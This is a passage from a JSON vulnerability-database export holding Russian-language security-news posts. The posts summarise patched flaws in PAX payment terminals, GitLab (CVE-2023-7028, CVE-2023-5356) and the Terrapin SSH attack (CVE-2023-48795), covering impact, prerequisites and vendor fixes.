\u0434\u043e\u0441\u0442\u0430\u0442\u043e\u0447\u043d\u043e \u0444\u0438\u0437\u0438\u0447\u0435\u0441\u043a\u043e\u0433\u043e \u0434\u043e\u0441\u0442\u0443\u043f\u0430 \u0447\u0435\u0440\u0435\u0437 USB.\n\n\u0423\u0441\u043f\u0435\u0448\u043d\u0430\u044f \u044d\u043a\u0441\u043f\u043b\u0443\u0430\u0442\u0430\u0446\u0438\u044f \u0432\u044b\u0448\u0435\u0443\u043f\u043e\u043c\u044f\u043d\u0443\u0442\u044b\u0445 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0435\u0439 \u043c\u043e\u0436\u0435\u0442 \u043f\u043e\u0437\u0432\u043e\u043b\u0438\u0442\u044c \u0437\u043b\u043e\u0443\u043c\u044b\u0448\u043b\u0435\u043d\u043d\u0438\u043a\u0443 \u043f\u043e\u0432\u044b\u0441\u0438\u0442\u044c \u0441\u0432\u043e\u0438 \u043f\u0440\u0438\u0432\u0438\u043b\u0435\u0433\u0438\u0438 \u0434\u043b\u044f \u043f\u043e\u043b\u0443\u0447\u0435\u043d\u0438\u044f root-\u043f\u0440\u0430\u0432 \u0438 \u043e\u0431\u0445\u043e\u0434\u0430 \u0437\u0430\u0449\u0438\u0442\u044b \u00ab\u043f\u0435\u0441\u043e\u0447\u043d\u0438\u0446\u044b\u00bb, \u0444\u0430\u043a\u0442\u0438\u0447\u0435\u0441\u043a\u0438 \u043f\u043e\u043b\u0443\u0447\u0430\u044f \u043a\u0430\u0440\u0442-\u0431\u043b\u0430\u043d\u0448 \u043d\u0430 \u0432\u044b\u043f\u043e\u043b\u043d\u0435\u043d\u0438\u0435 \u043b\u044e\u0431\u043e\u0439 \u043e\u043f\u0435\u0440\u0430\u0446\u0438\u0438.\n\n\u041d\u0430 \u043f\u0440\u0430\u043a\u0442\u0438\u043a\u0435 \u044d\u0442\u043e \u043c\u043e\u0436\u0435\u0442 \u043f\u0440\u0438\u0432\u0435\u0441\u0442\u0438 \u043a \u0432\u043c\u0435\u0448\u0430\u0442\u0435\u043b\u044c\u0441\u0442\u0432\u0443 \u0432 \u043f\u043b\u0430\u0442\u0435\u0436\u043d\u044b\u0435 \u043e\u043f\u0435\u0440\u0430\u0446\u0438\u0438 \u0438 \u043c\u043e\u0434\u0438\u0444\u0438\u043a\u0430\u0446\u0438\u0439 \u0434\u0430\u043d\u043d\u044b\u0445 \u0442\u0440\u0430\u043d\u0437\u0430\u043a\u0446\u0438\u0438.\n\n\u041f\u043e\u043b\u044c\u0441\u043a\u0438\u0435 \u0438\u0441\u0441\u043b\u0435\u0434\u043e\u0432\u0430\u0442\u0435\u043b\u0438 \u0443\u0432\u0435\u0434\u043e\u043c\u0438\u043b\u0438 \u043f\u043e\u0441\u0442\u0430\u0432\u0449\u0438\u043a\u0430 \u043e \u043f\u0440\u043e\u0431\u043b\u0435\u043c\u0430\u0445 \u0432 \u043d\u0430\u0447\u0430\u043b\u0435 \u043c\u0430\u044f 2023 \u0433\u043e\u0434\u0430 \u0438 \u043f\u0440\u0435\u0434\u0441\u0442\u0430\u0432\u0438\u043b\u0438 PoC, \u043f\u043e\u0441\u043b\u0435 \u0447\u0435\u0433\u043e \u0432 \u043d\u043e\u044f\u0431\u0440\u0435 \u0442\u043e\u0433\u043e \u0436\u0435 \u0433\u043e\u0434\u0430 PAX Technology \u0432\u044b\u043f\u0443\u0441\u0442\u0438\u043b\u0430 \u0438\u0441\u043f\u0440\u0430\u0432\u043b\u0435\u043d\u0438\u044f.", "creation_timestamp": "2024-01-17T17:06:42.000000Z"}, {"uuid": "7f955370-832b-45a3-9cf9-c3f5c3faf0eb", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2023-4812", "type": "seen", "source": "https://t.me/true_secator/5292", "content": "GitLab \u0432\u044b\u043f\u0443\u0441\u0442\u0438\u043b\u0430 \u043e\u0431\u043d\u043e\u0432\u043b\u0435\u043d\u0438\u044f \u0431\u0435\u0437\u043e\u043f\u0430\u0441\u043d\u043e\u0441\u0442\u0438 \u0434\u043b\u044f \u0443\u0441\u0442\u0440\u0430\u043d\u0435\u043d\u0438\u044f \u0434\u0432\u0443\u0445 \u043a\u0440\u0438\u0442\u0438\u0447\u0435\u0441\u043a\u0438\u0445 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0435\u0439 \u0432 \u043f\u043b\u0430\u0442\u0444\u043e\u0440\u043c\u0435 DevSecOps.\n\n\u041e\u0434\u0438\u043d \u0438\u0437 \u0431\u0430\u0433\u043e\u0432 \u0432\u044b\u0431\u0438\u043b \u0441\u0442\u0440\u0430\u0439\u043a \u043f\u043e CVSS \u0438 \u0438\u043c\u0435\u0435\u0442 \u043c\u0430\u043a\u0441\u0438\u043c\u0430\u043b\u044c\u043d\u044b\u0439 \u0431\u0430\u043b\u043b \u0441\u0435\u0440\u044c\u0435\u0437\u043d\u043e\u0441\u0442\u0438 10 \u0438\u0437 10, \u043f\u043e\u0437\u0432\u043e\u043b\u044f\u044f \u0437\u043b\u043e\u0443\u043c\u044b\u0448\u043b\u0435\u043d\u043d\u0438\u043a\u0430\u043c \u0437\u0430\u0445\u0432\u0430\u0442\u044b\u0432\u0430\u0442\u044c \u0430\u043a\u043a\u0430\u0443\u043d\u0442\u044b \u0431\u0435\u0437 \u0432\u0437\u0430\u0438\u043c\u043e\u0434\u0435\u0439\u0441\u0442\u0432\u0438\u044f \u0441 \u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u0435\u043b\u0435\u043c.\n\n\u041f\u0440\u043e\u0431\u043b\u0435\u043c\u0430, \u043e\u0442\u0441\u043b\u0435\u0436\u0438\u0432\u0430\u0435\u043c\u0430\u044f \u043a\u0430\u043a CVE-2023-7028, \u0441\u0432\u044f\u0437\u0430\u043d\u0430 \u0441 \u0430\u0443\u0442\u0435\u043d\u0442\u0438\u0444\u0438\u043a\u0430\u0446\u0438\u0435\u0439 \u0438 \u043f\u043e\u0437\u0432\u043e\u043b\u044f\u0435\u0442 \u043e\u0442\u043f\u0440\u0430\u0432\u043b\u044f\u0442\u044c \u0437\u0430\u043f\u0440\u043e\u0441\u044b \u043d\u0430 \u0441\u0431\u0440\u043e\u0441 \u043f\u0430\u0440\u043e\u043b\u044f \u043d\u0430 \u043f\u0440\u043e\u0438\u0437\u0432\u043e\u043b\u044c\u043d\u044b\u0435, \u043d\u0435\u043f\u0440\u043e\u0432\u0435\u0440\u0435\u043d\u043d\u044b\u0435 \u0430\u0434\u0440\u0435\u0441\u0430 \u044d\u043b\u0435\u043a\u0442\u0440\u043e\u043d\u043d\u043e\u0439 \u043f\u043e\u0447\u0442\u044b.\n\n\u042d\u0442\u043e \u043c\u043e\u0436\u0435\u0442 \u043f\u0440\u0438\u0432\u0435\u0441\u0442\u0438 \u043a \u043a\u043e\u043c\u043f\u0440\u043e\u043c\u0435\u0442\u0430\u0446\u0438\u0438 \u0430\u043a\u043a\u0430\u0443\u043d\u0442\u0430 \u0438 \u0441\u0435\u0440\u044c\u0435\u0437\u043d\u044b\u043c \u043f\u043e\u0441\u043b\u0435\u0434\u0441\u0442\u0432\u0438\u044f\u043c \u0434\u043b\u044f \u043e\u0440\u0433\u0430\u043d\u0438\u0437\u0430\u0446\u0438\u0439, \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u0443\u044e\u0449\u0438\u0445 \u043f\u043b\u0430\u0442\u0444\u043e\u0440\u043c\u0443 \u0434\u043b\u044f \u0445\u0440\u0430\u043d\u0435\u043d\u0438\u044f \u043a\u043e\u043d\u0444\u0438\u0434\u0435\u043d\u0446\u0438\u0430\u043b\u044c\u043d\u044b\u0445 \u0434\u0430\u043d\u043d\u044b\u0445.\n\n\u0414\u0440\u0443\u0433\u0438\u043c \u043f\u0435\u0447\u0430\u043b\u044c\u043d\u044b\u043c \u043f\u043e\u0441\u043b\u0435\u0434\u0441\u0442\u0432\u0438\u0435\u043c \u043c\u043e\u0436\u0435\u0442 \u043e\u043a\u0430\u0437\u0430\u0442\u044c\u0441\u044f \u0430\u0442\u0430\u043a\u0430 \u043d\u0430 \u0446\u0435\u043f\u043e\u0447\u043a\u0443 \u043f\u043e\u0441\u0442\u0430\u0432\u043e\u043a, \u043a\u043e\u0433\u0434\u0430 \u0437\u043b\u043e\u0443\u043c\u044b\u0448\u043b\u0435\u043d\u043d\u0438\u043a\u0438 \u043c\u043e\u0433\u0443\u0442 \u0441\u043a\u043e\u043c\u043f\u0440\u043e\u043c\u0435\u0442\u0438\u0440\u043e\u0432\u0430\u0442\u044c \u0440\u0435\u043f\u043e\u0437\u0438\u0442\u043e\u0440\u0438\u0438, \u0432\u0441\u0442\u0430\u0432\u043b\u044f\u044f \u0432\u0440\u0435\u0434\u043e\u043d\u043e\u0441\u043d\u044b\u0439 \u043a\u043e\u0434 \u0432 \u0436\u0438\u0432\u044b\u0435 \u0441\u0440\u0435\u0434\u044b, \u0433\u0434\u0435 GitLab \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u0443\u0435\u0442\u0441\u044f \u0434\u043b\u044f CI/CD.\n\n\u0412\u0442\u043e\u0440\u0430\u044f \u043a\u0440\u0438\u0442\u0438\u0447\u0435\u0441\u043a\u0430\u044f \u043f\u0440\u043e\u0431\u043b\u0435\u043c\u0430, CVE-2023-5356, \u0438\u043c\u0435\u0435\u0442 \u043d\u0435 \u043c\u0435\u043d\u0435\u0435 \u043a\u0440\u0438\u0442\u0438\u0447\u043d\u0443\u044e \u043e\u0446\u0435\u043d\u043a\u0443 \u0441\u0435\u0440\u044c\u0435\u0437\u043d\u043e\u0441\u0442\u0438 \u0432 9,6 \u0438\u0437 10, \u043a\u043e\u0442\u043e\u0440\u0430\u044f \u0441\u0432\u044f\u0437\u0430\u043d\u0430 \u0441 \u0438\u043d\u0442\u0435\u0433\u0440\u0430\u0446\u0438\u0435\u0439 Slack/Mattermost, \u0433\u0434\u0435 \u0437\u043b\u043e\u0443\u043c\u044b\u0448\u043b\u0435\u043d\u043d\u0438\u043a \u0441\u043f\u043e\u0441\u043e\u0431\u0435\u043d \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u044c \u044d\u0442\u0443 \u043e\u0448\u0438\u0431\u043a\u0443 \u0434\u043b\u044f \u0432\u044b\u043f\u043e\u043b\u043d\u0435\u043d\u0438\u044f \u0441\u043b\u044d\u0448-\u043a\u043e\u043c\u0430\u043d\u0434 \u043e\u0442 \u0438\u043c\u0435\u043d\u0438 \u0434\u0440\u0443\u0433\u043e\u0433\u043e \u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u0435\u043b\u044f.\n\n\u041d\u0435\u0441\u043c\u043e\u0442\u0440\u044f \u043d\u0430 \u0442\u043e, \u0447\u0442\u043e GitLab \u043d\u0435 \u043e\u0431\u043d\u0430\u0440\u0443\u0436\u0438\u043b\u0430 \u043d\u0438\u043a\u0430\u043a\u0438\u0445 \u0441\u043b\u0443\u0447\u0430\u0435\u0432 \u0430\u043a\u0442\u0438\u0432\u043d\u043e\u0433\u043e \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u043d\u0438\u044f \u044d\u0442\u0438\u0445 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0435\u0439, \u0442\u0435\u043c \u043d\u0435 \u043c\u0435\u043d\u0435\u0435 \u043f\u0440\u0435\u0434\u043e\u0441\u0442\u0430\u0432\u0438\u043b\u0430 IOC \u0438 \u043d\u0430\u0441\u0442\u043e\u0439\u0447\u0438\u0432\u043e \u0440\u0435\u043a\u043e\u043c\u0435\u043d\u0434\u043e\u0432\u0430\u043b\u0430 \u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u0435\u043b\u044f\u043c \u043e\u0431\u043d\u043e\u0432\u0438\u0442\u044c \u0443\u044f\u0437\u0432\u0438\u043c\u044b\u0435 \u0432\u0435\u0440\u0441\u0438\u0438 \u043f\u043b\u0430\u0442\u0444\u043e\u0440\u043c\u044b \u043a\u0430\u043a \u043c\u043e\u0436\u043d\u043e \u0441\u043a\u043e\u0440\u0435\u0435.\n\n\u041e\u0431\u043d\u043e\u0432\u043b\u0435\u043d\u0438\u044f \u0434\u043e\u0441\u0442\u0443\u043f\u043d\u044b \u0438\u0437 \u043a\u043e\u0440\u043e\u0431\u043a\u0438, \u043d\u043e \u0434\u043b\u044f \u043d\u0435\u043a\u043e\u0442\u043e\u0440\u044b\u0445 \u0442\u0438\u043f\u043e\u0432 \u0440\u0430\u0437\u0432\u0435\u0440\u0442\u044b\u0432\u0430\u043d\u0438\u0439 \u043c\u043e\u0436\u0435\u0442 \u043f\u043e\u0442\u0440\u0435\u0431\u043e\u0432\u0430\u0442\u044c\u0441\u044f \u0440\u0443\u0447\u043d\u043e\u0435 \u043e\u0431\u043d\u043e\u0432\u043b\u0435\u043d\u0438\u0435.\n\n\u0412\u043c\u0435\u0441\u0442\u0435 \u0441 \u043f\u043e\u0441\u043b\u0435\u0434\u043d\u0438\u043c\u0438 \u043e\u0431\u043d\u043e\u0432\u043b\u0435\u043d\u0438\u044f\u043c\u0438 \u0431\u044b\u043b\u0438 \u0438\u0441\u043f\u0440\u0430\u0432\u043b\u0435\u043d\u044b \u0438 \u0434\u0440\u0443\u0433\u0438\u0435 \u043d\u0435\u0434\u043e\u0441\u0442\u0430\u0442\u043a\u0438, \u0442\u0430\u043a\u0438\u0435 \u043a\u0430\u043a CVE-2023-4812, CVE-2023-6955 \u0438 CVE-2023-2030 \u043f\u0443\u0441\u0442\u044c \u0441 \u043c\u0435\u043d\u0435\u0435 \u043d\u0438\u0437\u043a\u0438\u043c\u0438 \u043e\u0446\u0435\u043d\u043a\u0430\u043c\u0438 \u0441\u0435\u0440\u044c\u0435\u0437\u043d\u043e\u0441\u0442\u0438, \u043d\u043e \u0432\u0441\u0435 \u0436\u0435 \u0442\u0440\u0435\u0431\u0443\u044e\u0449\u0438\u0435 \u0432\u043d\u0438\u043c\u0430\u043d\u0438\u044f \u0441 \u0442\u043e\u0447\u043a\u0438 \u0437\u0440\u0435\u043d\u0438\u044f \u0431\u0435\u0437\u043e\u043f\u0430\u0441\u043d\u043e\u0441\u0442\u0438.", "creation_timestamp": "2024-01-15T16:20:06.000000Z"}, {"uuid": "80105852-e961-4dda-b99c-bb177bce755b", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2023-48795", "type": "published-proof-of-concept", "source": "https://t.me/true_secator/5221", "content": "\u0418\u0441\u0441\u043b\u0435\u0434\u043e\u0432\u0430\u0442\u0435\u043b\u0438 \u0438\u0437 \u0420\u0443\u0440\u0441\u043a\u043e\u0433\u043e \u0443\u043d\u0438\u0432\u0435\u0440\u0441\u0438\u0442\u0435\u0442\u0430 \u0432 \u0411\u043e\u0445\u0443\u043c\u0435 \u0440\u0430\u0437\u0440\u0430\u0431\u043e\u0442\u0430\u043b\u0438 \u043d\u043e\u0432\u0443\u044e \u0430\u0442\u0430\u043a\u0443 \u0441 \u0443\u0441\u0435\u0447\u0435\u043d\u0438\u0435\u043c \u043f\u0440\u0435\u0444\u0438\u043a\u0441\u0430 \u043f\u043e\u0434 \u043d\u0430\u0437\u0432\u0430\u043d\u0438\u0435\u043c Terrapin, \u043a\u043e\u0442\u043e\u0440\u0430\u044f \u043d\u0430\u0440\u0443\u0448\u0430\u0435\u0442 \u0446\u0435\u043b\u043e\u0441\u0442\u043d\u043e\u0441\u0442\u044c \u0441\u043e\u0435\u0434\u0438\u043d\u0435\u043d\u0438\u0439  OpenSSH \u043f\u0440\u0438 \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u043d\u0438\u0438 \u043e\u043f\u0440\u0435\u0434\u0435\u043b\u0435\u043d\u043d\u044b\u0445 \u0440\u0435\u0436\u0438\u043c\u043e\u0432 \u0448\u0438\u0444\u0440\u043e\u0432\u0430\u043d\u0438\u044f.\n\nTerrapin \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u0443\u0435\u0442 \u0441\u043b\u0430\u0431\u044b\u0435 \u043c\u0435\u0441\u0442\u0430 \u043f\u0440\u043e\u0442\u043e\u043a\u043e\u043b\u0430 \u0442\u0440\u0430\u043d\u0441\u043f\u043e\u0440\u0442\u043d\u043e\u0433\u043e \u0443\u0440\u043e\u0432\u043d\u044f SSH \u0432 \u0441\u043e\u0447\u0435\u0442\u0430\u043d\u0438\u0438 \u0441 \u043d\u043e\u0432\u044b\u043c\u0438 \u043a\u0440\u0438\u043f\u0442\u043e\u0433\u0440\u0430\u0444\u0438\u0447\u0435\u0441\u043a\u0438\u043c\u0438 \u0430\u043b\u0433\u043e\u0440\u0438\u0442\u043c\u0430\u043c\u0438 \u0438 \u0440\u0435\u0436\u0438\u043c\u0430\u043c\u0438 \u0448\u0438\u0444\u0440\u043e\u0432\u0430\u043d\u0438\u044f, \u043f\u0440\u0435\u0434\u0441\u0442\u0430\u0432\u043b\u0435\u043d\u043d\u044b\u043c\u0438 OpenSSH \u0431\u043e\u043b\u0435\u0435 10 \u043b\u0435\u0442 \u043d\u0430\u0437\u0430\u0434.\n\n\u041e\u043d\u0430 \u043f\u043e\u0437\u0432\u043e\u043b\u044f\u0435\u0442 \u0437\u043b\u043e\u0443\u043c\u044b\u0448\u043b\u0435\u043d\u043d\u0438\u043a\u0430\u043c \u043c\u043e\u0434\u0438\u0444\u0438\u0446\u0438\u0440\u043e\u0432\u0430\u0442\u044c \u0441\u043e\u043e\u0431\u0449\u0435\u043d\u0438\u044f \u043d\u0430 \u043a\u0430\u043d\u0430\u043b\u0435, \u0447\u0442\u043e \u043f\u0440\u0438\u0432\u043e\u0434\u0438\u0442 \u043a \u043f\u0435\u0440\u0435\u0445\u043e\u0434\u0443 \u043d\u0430 \u043c\u0435\u043d\u0435\u0435 \u0431\u0435\u0437\u043e\u043f\u0430\u0441\u043d\u044b\u0435 \u0430\u043b\u0433\u043e\u0440\u0438\u0442\u043c\u044b \u0430\u0443\u0442\u0435\u043d\u0442\u0438\u0444\u0438\u043a\u0430\u0446\u0438\u0438 \u043a\u043b\u0438\u0435\u043d\u0442\u043e\u0432 \u0438 \u043e\u0442\u043a\u043b\u044e\u0447\u0435\u043d\u0438\u044e\u00a0\u0437\u0430\u0449\u0438\u0442\u044b \u043e\u0442 \u0430\u0442\u0430\u043a \u043f\u043e \u0432\u0440\u0435\u043c\u0435\u043d\u0438 \u043d\u0430\u0436\u0430\u0442\u0438\u044f \u043a\u043b\u0430\u0432\u0438\u0448 \u0432 OpenSSH 9.5.\n\n\u041e\u0431\u043d\u0430\u0440\u0443\u0436\u0435\u043d\u043d\u044b\u0435 \u043d\u0435\u0434\u043e\u0441\u0442\u0430\u0442\u043a\u0438 \u043e\u0442\u0441\u043b\u0435\u0436\u0438\u0432\u0430\u044e\u0442\u0441\u044f \u043a\u0430\u043a CVE-2023-48795, CVE-2023-46445 \u0438 CVE-2023-46446.\n\n\u0414\u043b\u044f \u0440\u0435\u0430\u043b\u0438\u0437\u0430\u0446\u0438\u0438 \u0437\u043b\u043e\u0443\u043c\u044b\u0448\u043b\u0435\u043d\u043d\u0438\u043a\u0430\u043c \u043d\u0435\u043e\u0431\u0445\u043e\u0434\u0438\u043c\u043e \u043d\u0430\u0445\u043e\u0434\u0438\u0442\u044c\u0441\u044f \u0432 \u043f\u043e\u0437\u0438\u0446\u0438\u0438 MiTM \u043d\u0430 \u0441\u0435\u0442\u0435\u0432\u043e\u043c \u0443\u0440\u043e\u0432\u043d\u0435, \u0447\u0442\u043e\u0431\u044b \u043f\u0435\u0440\u0435\u0445\u0432\u0430\u0442\u0438\u0442\u044c \u0438 \u043f\u043e\u0432\u043b\u0438\u044f\u0442\u044c \u043d\u0430 \u043e\u0431\u043c\u0435\u043d \u0440\u0443\u043a\u043e\u043f\u043e\u0436\u0430\u0442\u0438\u044f\u043c\u0438, \u0430 \u0441\u043e\u0435\u0434\u0438\u043d\u0435\u043d\u0438\u0435 \u0434\u043e\u043b\u0436\u043d\u043e \u0431\u044b\u0442\u044c \u0437\u0430\u0449\u0438\u0449\u0435\u043d\u043e \u043b\u0438\u0431\u043e ChaCha20-Poly1305, \u043b\u0438\u0431\u043e CBC \u0441 \u0448\u0438\u0444\u0440\u043e\u0432\u0430\u043d\u0438\u0435\u043c, \u0437\u0430\u0442\u0435\u043c MAC.\n\n\u0414\u0430\u043d\u043d\u044b\u0435 \u0432 \u0441\u043e\u043e\u0431\u0449\u0435\u043d\u0438\u044f\u0445, \u043a\u043e\u0442\u043e\u0440\u044b\u043c\u0438 \u043e\u0431\u043c\u0435\u043d\u0438\u0432\u0430\u044e\u0442\u0441\u044f \u043f\u043e\u0441\u043b\u0435 \u0437\u0430\u0432\u0435\u0440\u0448\u0435\u043d\u0438\u044f \u0440\u0443\u043a\u043e\u043f\u043e\u0436\u0430\u0442\u0438\u044f, \u043e\u043f\u0440\u0435\u0434\u0435\u043b\u044f\u044e\u0442 \u0441\u0435\u0440\u044c\u0435\u0437\u043d\u043e\u0441\u0442\u044c \u043f\u043e\u0441\u043b\u0435\u0434\u0441\u0442\u0432\u0438\u0439 \u0430\u0442\u0430\u043a\u0438.\n\n\u041d\u0435\u0441\u043c\u043e\u0442\u0440\u044f \u043d\u0430 \u043e\u0441\u043e\u0431\u044b\u0435 \u0442\u0440\u0435\u0431\u043e\u0432\u0430\u043d\u0438\u044f \u043a Terrapin, \u0448\u0438\u0440\u043e\u043a\u043e\u0435 \u0432\u043d\u0435\u0434\u0440\u0435\u043d\u0438\u0435 \u0443\u043f\u043e\u043c\u044f\u043d\u0443\u0442\u044b\u0445 \u0440\u0435\u0436\u0438\u043c\u043e\u0432 \u0448\u0438\u0444\u0440\u043e\u0432\u0430\u043d\u0438\u044f (\u0441\u043a\u0430\u043d\u0438\u0440\u043e\u0432\u0430\u043d\u0438\u0435 \u043f\u043e\u043a\u0430\u0437\u044b\u0432\u0430\u0435\u0442 77%) \u0434\u0435\u043b\u0430\u0435\u0442 \u0430\u0442\u0430\u043a\u0443 \u043e\u0441\u0443\u0449\u0435\u0441\u0442\u0432\u0438\u043c\u043e\u0439 \u0432 \u0440\u0435\u0430\u043b\u044c\u043d\u043e\u043c \u0441\u0446\u0435\u043d\u0430\u0440\u0438\u0438.\n\n\u041c\u043d\u043e\u0436\u0435\u0441\u0442\u0432\u043e \u043f\u043e\u0441\u0442\u0430\u0432\u0449\u0438\u043a\u043e\u0432\u00a0\u043f\u043e\u0441\u0442\u0435\u043f\u0435\u043d\u043d\u043e \u0441\u043c\u044f\u0433\u0447\u0430\u044e\u0442\u00a0\u043f\u0440\u043e\u0431\u043b\u0435\u043c\u0443. \u041e\u0434\u043d\u0438\u043c \u0438\u0437 \u0440\u0435\u0448\u0435\u043d\u0438\u0439 \u0441\u0442\u0430\u043b\u0430 \u0440\u0435\u0430\u043b\u0438\u0437\u0430\u0446\u0438\u044f \u0441\u0442\u0440\u043e\u0433\u043e\u0433\u043e \u043e\u0431\u043c\u0435\u043d\u0430 \u043a\u043b\u044e\u0447\u0430\u043c\u0438, \u043a\u043e\u0442\u043e\u0440\u044b\u0439 \u0434\u0435\u043b\u0430\u0435\u0442 \u043d\u0435\u0432\u043e\u0437\u043c\u043e\u0436\u043d\u044b\u043c \u0432\u043d\u0435\u0434\u0440\u0435\u043d\u0438\u0435 \u043f\u0430\u043a\u0435\u0442\u043e\u0432 \u0432\u043e \u0432\u0440\u0435\u043c\u044f \u0440\u0443\u043a\u043e\u043f\u043e\u0436\u0430\u0442\u0438\u044f.\n\n\u041e\u0434\u043d\u0430\u043a\u043e \u043f\u043e\u0442\u0440\u0435\u0431\u0443\u0435\u0442\u0441\u044f \u0432\u0440\u0435\u043c\u044f, \u0447\u0442\u043e\u0431\u044b \u044d\u0442\u0430 \u043f\u0440\u043e\u0431\u043b\u0435\u043c\u0430 \u0431\u044b\u043b\u0430 \u0440\u0435\u0448\u0435\u043d\u0430 \u043f\u043e\u0432\u0441\u0435\u043c\u0435\u0441\u0442\u043d\u043e. \u041f\u0440\u0438 \u044d\u0442\u043e\u043c \u0438\u0441\u0441\u043b\u0435\u0434\u043e\u0432\u0430\u0442\u0435\u043b\u0438 \u043e\u0442\u043c\u0435\u0447\u0430\u044e\u0442, \u0447\u0442\u043e \u0441\u0442\u0440\u043e\u0433\u0438\u0435 \u043c\u0435\u0440\u044b \u043f\u0440\u043e\u0442\u0438\u0432\u043e\u0434\u0435\u0439\u0441\u0442\u0432\u0438\u044f \u043e\u0431\u043c\u0435\u043d\u0443 \u043a\u043b\u044e\u0447\u0430\u043c\u0438 \u044d\u0444\u0444\u0435\u043a\u0442\u0438\u0432\u043d\u044b \u0442\u043e\u043b\u044c\u043a\u043e \u0442\u043e\u0433\u0434\u0430, \u043a\u043e\u0433\u0434\u0430 \u043e\u043d\u0438 \u0440\u0435\u0430\u043b\u0438\u0437\u043e\u0432\u0430\u043d\u044b \u043a\u0430\u043a \u043d\u0430 \u043a\u043b\u0438\u0435\u043d\u0442\u0435, \u0442\u0430\u043a \u0438 \u043d\u0430 \u0441\u0435\u0440\u0432\u0435\u0440\u0435.\n\n\u041a\u043e\u043c\u0430\u043d\u0434\u0430 \u0443\u0447\u0435\u043d\u044b\u0445 \u043f\u0440\u0435\u0434\u0441\u0442\u0430\u0432\u0438\u043b\u0430 \u0441\u043a\u0430\u043d\u0435\u0440 \u0434\u043b\u044f \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0435\u0439 Terrapin \u043d\u0430 GitHub, \u043a\u043e\u0442\u043e\u0440\u044b\u0439 \u0430\u0434\u043c\u0438\u043d\u0438\u0441\u0442\u0440\u0430\u0442\u043e\u0440\u044b \u043c\u043e\u0433\u0443\u0442 \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u044c, \u0447\u0442\u043e\u0431\u044b \u043e\u043f\u0440\u0435\u0434\u0435\u043b\u0438\u0442\u044c, \u0443\u044f\u0437\u0432\u0438\u043c \u043b\u0438 SSH-\u043a\u043b\u0438\u0435\u043d\u0442 \u0438\u043b\u0438 \u0441\u0435\u0440\u0432\u0435\u0440 \u0434\u043b\u044f \u0430\u0442\u0430\u043a\u0438.\u00a0\n\nTerrapin - \u044d\u0442\u043e \u043d\u0435 \u043f\u0440\u043e\u0441\u0442\u0430\u044f \u043f\u0440\u043e\u0433\u0440\u0430\u043c\u043c\u043d\u0430\u044f \u043e\u0448\u0438\u0431\u043a\u0430, \u043a\u043e\u0442\u043e\u0440\u0443\u044e \u043c\u043e\u0436\u043d\u043e \u0438\u0441\u043f\u0440\u0430\u0432\u0438\u0442\u044c \u043e\u0431\u043d\u043e\u0432\u043b\u0435\u043d\u0438\u0435\u043c \u043e\u0434\u043d\u043e\u0439 \u0431\u0438\u0431\u043b\u0438\u043e\u0442\u0435\u043a\u0438 \u0438\u043b\u0438 \u043a\u043e\u043c\u043f\u043e\u043d\u0435\u043d\u0442\u0430. \u041d\u0435\u043e\u0431\u0445\u043e\u0434\u0438\u043c\u043e \u043e\u0431\u043d\u043e\u0432\u0438\u0442\u044c \u0438 \u043a\u043b\u0438\u0435\u043d\u0442\u044b, \u0438 \u0441\u0435\u0440\u0432\u0435\u0440\u044b, \u0447\u0442\u043e\u0431\u044b \u0437\u0430\u0449\u0438\u0442\u0438\u0442\u044c \u0441\u043e\u0435\u0434\u0438\u043d\u0435\u043d\u0438\u0435 \u043e\u0442 \u0430\u0442\u0430\u043a \u0441 \u0443\u0441\u0435\u0447\u0435\u043d\u0438\u0435\u043c \u043f\u0440\u0435\u0444\u0438\u043a\u0441\u0430.\n\n\u041d\u0430 \u0434\u0430\u043d\u043d\u044b\u0439 \u043c\u043e\u043c\u0435\u043d\u0442 \u0441\u0430\u043c\u044b\u043c \u0431\u043e\u043b\u044c\u0448\u0438\u043c \u0444\u0430\u043a\u0442\u043e\u0440\u043e\u043c \u0441\u043c\u044f\u0433\u0447\u0435\u043d\u0438\u044f \u0430\u0442\u0430\u043a\u0438 \u044f\u0432\u043b\u044f\u0435\u0442\u0441\u044f \u0442\u0440\u0435\u0431\u043e\u0432\u0430\u043d\u0438\u0435 MiTM, \u043a\u043e\u0442\u043e\u0440\u043e\u0435 \u0434\u0435\u043b\u0430\u0435\u0442 Terrapin \u043c\u0435\u043d\u0435\u0435 \u0441\u0435\u0440\u044c\u0435\u0437\u043d\u043e\u0439 \u0443\u0433\u0440\u043e\u0437\u043e\u0439. \u041f\u043e \u044d\u0442\u043e\u0439 \u043f\u0440\u0438\u0447\u0438\u043d\u0435 \u0438\u0441\u043f\u0440\u0430\u0432\u043b\u0435\u043d\u0438\u0435 CVE-2023-48795 \u0432\u043e \u043c\u043d\u043e\u0433\u0438\u0445 \u0441\u043b\u0443\u0447\u0430\u044f\u0445 \u043c\u043e\u0436\u0435\u0442 \u043d\u0435 \u0431\u044b\u0442\u044c \u043f\u0440\u0438\u043e\u0440\u0438\u0442\u0435\u0442\u043e\u043c.\n\n\u0411\u043e\u043b\u0435\u0435 \u043f\u043e\u0434\u0440\u043e\u0431\u043d\u0443\u044e \u0438\u043d\u0444\u043e\u0440\u043c\u0430\u0446\u0438\u044e \u043e\u0431 \u0430\u0442\u0430\u043a\u0435 Terrapin \u043c\u043e\u0436\u043d\u043e \u043d\u0430\u0439\u0442\u0438 \u0432\u00a0\u0442\u0435\u0445\u043d\u0438\u0447\u0435\u0441\u043a\u043e\u043c 